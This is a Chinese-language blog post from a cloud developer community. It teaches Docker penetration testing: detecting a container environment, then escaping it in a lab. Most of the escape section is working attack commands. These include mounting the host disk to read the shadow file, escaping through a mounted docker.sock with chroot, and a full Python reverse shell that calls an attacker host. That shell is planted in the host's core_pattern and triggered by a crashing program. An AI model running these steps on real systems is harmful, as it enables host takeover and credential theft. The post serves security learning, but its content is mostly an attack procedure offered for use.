前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

作者头像
今天是几号
发布2024-07-18 15:47:27
750
发布2024-07-18 15:47:27
举报
文章被收录于专栏:Cyber Security
前言

1、Docker是干嘛的?

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

2、Docker对于渗透测试影响?

3、Docker渗透测试点有那些?

在这里插入图片描述
在这里插入图片描述

4、前渗透-判断在Docker中

没有权限:端口扫描详细信息,根据应用对象表现 但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)

拿到权限:

方式一:查询cgroup信息

docker中:

在这里插入图片描述
在这里插入图片描述

真实主机上:

在这里插入图片描述
在这里插入图片描述
方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境 docker中:

在这里插入图片描述
在这里插入图片描述

真实主机上:

在这里插入图片描述
在这里插入图片描述

不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的

在这里插入图片描述
在这里插入图片描述
方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

docker中:

在这里插入图片描述
在这里插入图片描述

真实主机上:

在这里插入图片描述
在这里插入图片描述
方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

docker中:

在这里插入图片描述
在这里插入图片描述

真实主机上:

在这里插入图片描述
在这里插入图片描述
方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

代码语言:javascript
复制
df -h | egrep '(overlay|aufs)'

docker中:

在这里插入图片描述
在这里插入图片描述

真实主机上:

在这里插入图片描述
在这里插入图片描述

参考:https://blog.csdn.net/qq_23936389/article/details/131467165

5、前渗透-镜像中的应用漏洞

正常web渗透测试

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸) -危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸) -docker自身&系统漏洞(软件漏洞和系统漏洞 都可用) https://wiki.teamssix.com/CloudNative/

在这里插入图片描述
在这里插入图片描述

容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine

在这里插入图片描述
在这里插入图片描述

检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”

在这里插入图片描述
在这里插入图片描述

判断特权:cat /proc/self/status | grep CapEff 如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

在这里插入图片描述
在这里插入图片描述

查看目录:fdisk -l

在这里插入图片描述
在这里插入图片描述

特权逃逸:mkdir /test && mount /dev/vda1 /test

在这里插入图片描述
在这里插入图片描述

判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问

在这里插入图片描述
在这里插入图片描述

容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu 进入环境:docker exec -it with_docker_sock /bin/bash 检测环境:ls -lah /var/run/docker.sock

在这里插入图片描述
在这里插入图片描述

挂载逃逸: apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部 docker run -it -v /:/host ubuntu /bin/bash

在这里插入图片描述
在这里插入图片描述

chroot /host

在这里插入图片描述
在这里插入图片描述

2、挂载宿主机procfs逃逸

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 检测环境:find / -name core_pattern

在这里插入图片描述
在这里插入图片描述

找到当前容器在宿主机下的绝对路径

代码语言:javascript
复制
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
在这里插入图片描述
在这里插入图片描述

这就表示当前绝对路径为

/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

创建一个反弹 Shell 的 py 脚本

代码语言:javascript
复制
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

给 Shell 赋予执行权限

代码语言:javascript
复制
chmod 777 .x.py

写入反弹 shell 到目标的 proc 目录下

代码语言:javascript
复制
echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

代码语言:javascript
复制
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
代码语言:javascript
复制
gcc x.c -o t
./t
在这里插入图片描述
在这里插入图片描述

不过我这里尝试了好几次都没有成功……

模拟真实场景: 1、高权限-Web入口到Docker逃逸(Java)

代码语言:javascript
复制
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、低权限-Web入口到Docker逃逸(PHP)

代码语言:javascript
复制
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

java大部分都是高权限,php需提权……

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 1、Docker是干嘛的?
  • 2、Docker对于渗透测试影响?
  • 3、Docker渗透测试点有那些?
  • 4、前渗透-判断在Docker中
    • 方式一:查询cgroup信息
      • 方式二:检查/.dockerenv文件
        • 方式三:检查mount信息
          • 方式四:查看硬盘信息
            • 方式五:查看文件系统以及挂载点
            • 5、前渗透-镜像中的应用漏洞
            • 6、前渗透-镜像中的默认配置
            • 7、后渗透-三种安全容器逃逸
            • 容器逃逸-特权模式
            • 容器逃逸-危险挂载
              • 1、挂载Docker Socket逃逸
                • 2、挂载宿主机procfs逃逸
                相关产品与服务
                容器服务
                腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档